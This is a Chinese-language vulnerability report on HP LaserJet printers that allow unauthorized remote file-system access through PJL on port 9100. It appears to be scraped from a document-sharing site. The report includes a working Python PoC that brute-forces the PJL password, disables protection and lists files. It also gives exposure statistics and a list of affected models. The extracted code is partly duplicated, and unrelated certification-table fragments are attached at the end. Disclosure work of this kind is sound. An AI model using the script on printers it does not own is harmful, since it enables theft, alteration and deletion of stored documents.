密级

Size: px

Start display at page:

Download "密级"

磐贡
4 years ago
Views:

1 密级公开 HP LaserJet 打印机未授权访问漏洞分析报告 [ 第一版 2015/07/31] 知道创宇 ZoomEye 实习生小组北京知道创宇信息技术有限公司

2 1. 更新情况版本时间描述第一版 2015/07/31 第一版完成 2. 漏洞概要 2010 年 11 月 15 日, 惠普官方发布安全通告 c , 漏洞编号 CVE , 由 PJL 接口权限设置不正确导致 LaserJet 系列打印机未经授权进行远程访问文件 2.1. 漏洞描述惠普 LaserJet 系列打印机的 JetDirect 服务默认运行于 9100 端口, 其上的打印机作业语言 (PJL) 提供了一种在设备和远端主机之间进行数据交换的方法通过 PJL 除了能够查看和更改打印机状态之外, 还可以对打印机内置的文件系统进行访问官方称该漏洞安全影响是未授权远程访问文件使用存在此漏洞的设备会带来数据泄漏数据篡改内网被渗透的风险 2.2. 漏洞影响受影响打印机系列 : HP LaserJet 以及 HP Color LaserJet 系列激光打印机, 具体列表请见附件 2.3. 漏洞分析密码爆破惠普官方已经在 2010 年 11 月的安全通告上发布了漏洞解决办法, 用户可以通过禁用 PJL 的文件系统访问权限或重新设置 PJL 密码来解决此问题但 PJL 的安全密码是范围的数字, 密码认证次数和频率并没有限制, 远程攻击者可以通过爆破可以将 PJL 的密码安全保护禁用, 进而可绕过密码验证通过 PJL 对打印机内置的文件系统进行读写文件系统包含后台处理打印作业收到的传真日志文件和配置文件使用以下 Python3 程序对系统进行漏洞检测 : import socket import sys 北京知道创宇信息技术有限公司 1

3 def main(): if len(sys.argv)<=1: print('parameters error') return s = socket.socket(socket.af_inet,socket.sock_stream) s.settimeout(10) s.connect((sys.argv[1],9100)) s.settimeout(none) # 发送读取设备 ID 的 PJL 指令 s.send(('\033%-12345x@pjl INFO ID\r\n\033%-12345X\r\n').encode('UTF-8')) print(s.recv(1024).decode('utf-8')) for i in range(1, 65536): buf = b'' # 发送重置密码的 PJL 指令 s.send(('\033%-12345x@pjl \r\n@pjl JOB PASSWORD=' + str(i) + '\r\n@pjl DEFAULT PASSWORD=0 \r\n@pjl EOJ\r\n\033%-12345X\r\n').encode('UTF-8')) if i%30 == 0: # 发送查询密码保护状态的 PJL 指令 s.send(('\033%-12345x@pjl \r\n@pjl DINQUIRE PASSWORD\r\n\033% X\r\n').encode('UTF-8')) while True: buf += s.recv(1) print(buf) try: buf.index(b'\r\n\x0c') try: # 密码保护被禁用 buf.index(b'disabled') print('password disabled ok!') # 发送查询目录的 PJL 指令 s.send(('\033%-12345x@pjl \r\n@pjl FSDIRLIST NAME = "0:\\" ENTRY=1 COUNT=99\r\n\033%-12345X\r\n').encode('UTF-8')) buf = b'' while True: buf += s.recv(1) print(buf) try: buf.index(b'\r\n\x0c') try: # 查询成功 buf.index(b'entry') print('poc OK!') return except ValueError: print('poc NO!') return except ValueError: continue except ValueError: print('password disabled faild!') finally: s.close() return 北京知道创宇信息技术有限公司 2

except ValueError: continue s.close() if name == ' main ': main() 如果打印出 PoC OK!

状态的 PJL 指令, 直到查询到密码保护被关闭即为爆破成功爆破过程如图一所示, 破解密码过程中返回打印机型号和 PJL 报文信息图 1 Python3

4 except ValueError: continue s.close() if name == ' main ': main() 如果打印出 PoC OK!, 说明系统存在漏洞 PoC 验证脚本主要分为两个部分第一部分发送重置密码的 PJL 指令进行密码爆破, 每进行 30 次密码尝试后发送一次查询当前密码保护的状态的 PJL 指令, 直到查询到密码保护被关闭即为爆破成功爆破过程如图一所示, 破解密码过程中返回打印机型号和 PJL 报文信息图 1 Python3 脚本爆破过程第二部分发送查询磁盘文件的 PJL 指令, 如果指令能够正确获取到目录, 则 PJL 具有文件系统的访问权限, 如图 2 所示, 即存在漏洞,PoC 验证完成图 2 Python3 进行 PoC 验证打印机信息泄露惠普打印机 File System External Access 的默认设置允许 PJL 命令访问该设备的文件系统远程攻击者可以借助 PJL 读取任意文件, 远程连接打印机并进行遍历目录操作, 截图如下 : 图 3 连接远程打印机并遍历目录北京知道创宇信息技术有限公司 3

34.88% 3.1. 受漏洞影响设备型号全球排名 TOP 10 受该漏洞影响打印机中 HP LaserJet 4250 有 424 台 (11.

5 进入打印机后台, 读取目录后, 可以进行上传下载和删除文件的操作, 截图如下 : 图 4 下载打印机内部文档图 5 删除打印机内文件并进行本地上传 3. ZoomEye 分析概要通过网络空间搜索引擎 ZoomEye 进行全网搜索, 得出目前全球台存在文件系统的惠普打印机中受到该漏洞影响的打印机有 3625 台, 占比 34.88% 3.1. 受漏洞影响设备型号全球排名 TOP 10 受该漏洞影响打印机中 HP LaserJet 4250 有 424 台 (11.7%),HP LaserJet 4050 有 366 台 (10.1%),HP Color LaserJet 5550 有 267 台 (7.3%) 其中 HP LaserJet 系列打印机占所有受影响设备的 73.9% 北京知道创宇信息技术有限公司 4

6 图 6 受漏洞影响设备型号全球排名 TOP 受漏洞影响国家全球排名 TOP 10 受该漏洞影响的打印机数量全球排名前三分别是 : 1 美国 2315 台, 占比 63.9% 2 韩国 410 台, 占比 11.3% 3 中国 302 台, 占比 8.3% 图 7 受漏洞影响国家全球排名 TOP 修复建议 1 禁止通过 PJL 访问文件系统北京知道创宇信息技术有限公司 5

7 2 关注产品动态, 将产品升级到最新版本 5. 总结惠普 LaserJet 系列打印机未授权访问漏洞多年前就已经被爆出, 惠普官方在 2010 年也给出了修补方案, 然而在国内外都并未受到足够的重视, 如今仍有很大一部分打印机存在未授权远程访问文件的危险, 存于其上的私人文件甚至高密文件唾手可得, 加强网络安全意识任重而道远 6. 相关资源链接 1 知道创宇 Sebug 漏洞平台 : 2 惠普官方 PJL 技术手册 : 3 惠普官方安全公告: 4 通用漏洞与披露官方网站: 北京知道创宇信息技术有限公司 6

8 附件 : 受影响设备列表 HP Color LaserJet 2550 Series HP LaserJet 400 Color M451nw HP Color LaserJet 3000 HP LaserJet 400 M401dn HP Color LaserJet 3500 HP LaserJet 400 M401dne HP Color LaserJet 3550 HP LaserJet 400 M401n HP Color LaserJet 3700 HP LaserJet 400 MFP M425dn HP Color LaserJet 3800 HP LaserJet 4000 HP Color LaserJet 4500 HP LaserJet 4050 HP Color LaserJet 4550 Series HP LaserJet 4100 MFP HP Color LaserJet 4600 HP LaserJet 4100 Series HP Color LaserJet 4650 HP LaserJet 4200 HP Color LaserJet 4700 HP LaserJet 4200L HP Color LaserJet 4730mfp HP LaserJet 4240 HP Color LaserJet 5500 HP LaserJet 4250 HP Color LaserJet 5550 HP LaserJet 4300 HP Color LaserJet 8550 HP LaserJet 4345 mfp HP Color LaserJet 9500 HP LaserJet 4350 HP Color LaserJet CM2320fxi MFP HP LaserJet 500 Color M551 HP Color LaserJet CP3525 HP LaserJet 500 ColorMFP M570dn HP Color LaserJet CP4020 Series HP LaserJet 5000 HP Color LaserJet CP4520 Series HP LaserJet 5100 HP Color LaserJet CP5225dn HP LaserJet 5200 HP Color LaserJet CP5520 Series HP LaserJet 5200L HP Color LaserJet M651 HP LaserJet 5200LX HP Color LaserJet M750 HP LaserJet 600 M601 HP Color LaserJet MFP M476dn HP LaserJet 600 M602 HP Color LaserJet MFP M476dw HP LaserJet 600 M603 HP DesignJet 130 HP LaserJet 6P HP DesignJet 130nr HP LaserJet 8000 HP LaserJet 1160 Series HP LaserJet 8100 HP LaserJet 1200 HP LaserJet 8150 HP LaserJet 1220 HP LaserJet 9000 Series HP LaserJet 1300 HP LaserJet 9040 HP LaserJet 1320 Series HP LaserJet 9050 HP LaserJet 200 Color M251n HP LaserJet M606 HP LaserJet 2100 Series HP LaserJet P2015 Series HP LaserJet 2200 HP LaserJet P3005 HP LaserJet 2300 Series HP LaserJet P3010 Series HP LaserJet 2300L HP LaserJet P4014 HP LaserJet 2420 HP LaserJet P4015 HP LaserJet 2430 HP LaserJet P4515 HP LaserJet 3030 HP LaserJet Pro MFP M521dn HP LaserJet 3330 HP Officejet Pro X476dw MFP HP LaserJet 400 Color M451dn HP Officejet Pro X551dw Printer HP LaserJet 400 Color M451dw 北京知道创宇信息技术有限公司 7

惠普科技北京有限公司认证产品的商标单元名称型号规格表一序号认证单元产品名称产品型号商标 1 彩色单功能激光打印机激光打印机 Color LaserJet Pro CP5225 hp (商标注册号第号 2 彩色单功能激光打印机激光打印机 Color Las

惠普科技北京有限公司认证产品的商标单元名称型号规格表一序号认证单元产品名称产品型号商标 1 彩色单功能激光打印机激光打印机 Color LaserJet Pro CP5225 hp (商标注册号第号 2 彩色单功能激光打印机激光打印机 Color Las 认证产品的单元名称型号规格表一 1 Color LaserJet Pro CP5225 hp (注册号第 7749459 号 2 Color LaserJet Pro CP5225n hp (注册号第 7749459 号 3 Color LaserJet Pro CP5225dn hp (注册号第 7749459 号 4 Color LaserJet Enterprise M750n hp